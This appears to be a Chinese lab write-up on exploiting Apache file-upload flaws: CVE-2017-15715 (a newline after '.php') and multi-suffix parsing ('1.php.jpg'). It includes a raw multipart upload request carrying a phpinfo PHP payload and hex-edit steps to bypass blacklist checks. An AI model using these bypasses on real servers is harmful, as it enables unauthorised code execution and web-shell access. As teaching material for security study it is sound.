目录
什么是Apache
Apache文件上传(CVE-2017-15715)
Apache后缀解析
什么是Apache
Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。
Apache文件上传(CVE-2017-15715)
此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略
第一步:打开网站页面发现为空白,直接抓包看,发现Apache的版本存在漏洞
第二步:使用burp抓包,抓包后发送,发现响应包中显示apache版本(此版本存在漏洞)
第三步:构造文件上传post文件 (发现上传失败)
POST / HTTP/1.1Host: 192.168.66.141:50532User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358Content-Length: 358Connection: closeUpgrade-Insecure-Requests: 1-----------------------------9552222486401230933854482358Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------9552222486401230933854482358Content-Disposition: form-data; name="name"1.php-----------------------------9552222486401230933854482358--
第四步:将文件名修改为1.php.xxx再次上传发现文件上传成功,证明此处为黑名单验证
第五步:在1.php后添加a为标记,打开Hex将a处的61修改为0a,然后将数据包发送
第六步:访问1.php%0a,成功访问到phpinfo
Apache后缀解析
Apache文件解析漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别;因此可以用于文件上传来绕过黑名单导致getshell。
第一步:上传php后缀文件,发现上传失败
第二步:抓取上传数据包将文件名修改为1.php.jpg,后进行上传
第三步:访问文件路径php成功解析